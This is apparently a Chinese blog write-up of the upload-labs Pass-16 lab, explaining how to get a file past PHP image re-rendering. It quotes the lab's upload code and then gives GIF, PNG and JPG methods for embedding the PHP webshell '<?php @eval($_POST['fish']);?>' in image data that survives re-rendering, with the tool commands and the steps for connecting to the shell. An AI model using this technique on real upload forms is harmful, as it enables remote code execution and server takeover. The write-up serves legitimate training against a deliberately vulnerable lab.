PHP 图片二次渲染绕过

以 upload-labs 的 Pass-16 为例,尝试 二次渲染绕过

更多内容查看个人博客:https://wanzi.online

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
    // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
    $filename = $_FILES['upload_file']['name'];
    $filetype = $_FILES['upload_file']['type'];
    $tmpname = $_FILES['upload_file']['tmp_name'];

    $target_path=UPLOAD_PATH.'/'.basename($filename);

    // 获得上传文件的扩展名
    $fileext= substr(strrchr($filename,"."),1);

    //判断文件后缀与类型,合法才进行上传操作
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromjpeg($target_path);

            if($im == false){
                $msg = "该文件不是jpg格式的图片!";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".jpg";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagejpeg($im,$img_path);
                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }

    }else if(($fileext == "png") && ($filetype=="image/png")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefrompng($target_path);

            if($im == false){
                $msg = "该文件不是png格式的图片!";
                @unlink($target_path);
            }else{
                 //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".png";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagepng($im,$img_path);

                @unlink($target_path);
                $is_upload = true;               
            }
        } else {
            $msg = "上传出错!";
        }

    }else if(($fileext == "gif") && ($filetype=="image/gif")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromgif($target_path);
            if($im == false){
                $msg = "该文件不是gif格式的图片!";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".gif";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagegif($im,$img_path);

                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }
    }else{
        $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
    }
}

1、gif 绕过

上传正确的图片 fish_real.gif,将上传后的照片另存为 fish2_real.gif,并使用 010 Editor 比较两张图片

PixPin_2025-05-13_16-31-41

在未被二次渲染的部分插入一句话木马,另存为 fish2_trojan.gif 后上传成功

PixPin_2025-05-13_16-32-08

使用蚁剑进行连接

PixPin_2025-05-13_16-33-04

2、png 绕过

使用 Python 写了一个用于 png 二次渲染绕过的脚本,项目地址:png_payload

python png_payload.py --input fish.png --payload "<?php @eval($_POST['fish']);?>" --offset 0

可以使用 010 Editor 看到 fish-payload.png 中注入的 payload

PixPin_2025-05-14_20-42-43

上传成功,但下载上传后的图片发现 payload 不完整

PixPin_2025-05-14_20-44-02

经过测试需要设置一个合适的 PLTE block 偏移量,当 offset0 时 payload 将被注入到 PLTE 头部,可能导致二次渲染后的 payload 不完整。

offset 设置为 30

python png_payload.py --input fish.png --payload "<?php @eval($_POST['fish']);?>" --offset 30

PixPin_2025-05-14_20-44-47

上传成功,下载上传后的图片发现 payload 完整

PixPin_2025-05-14_20-45-33

使用蚁剑进行连接

PixPin_2025-05-14_20-46-11

3、jpg 绕过

参考了一个用于 jpg 二次渲染绕过的 php 脚本并使用 Python 进行了打包,项目地址:jpg_payload

上传正确的图片 fish_real.jpg,将上传后的照片另存为 fish2_real.jpg,使用 jpg_payload 注入 payload

jpg_payload.exe fish2_real.jpg "<?php @eval($_POST['fish']);?>"

可以使用 010 Editor 看到 payload_fish2_real.jpg 中注入的 payload

PixPin_2025-05-14_22-33-00

上传成功,下载上传后的图片发现 payload 完整

PixPin_2025-05-14_22-33-46

使用蚁剑进行连接

PixPin_2025-05-14_22-40-40

jpg 图片二次渲染绕过不易成功,需要多换几张图片尝试。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值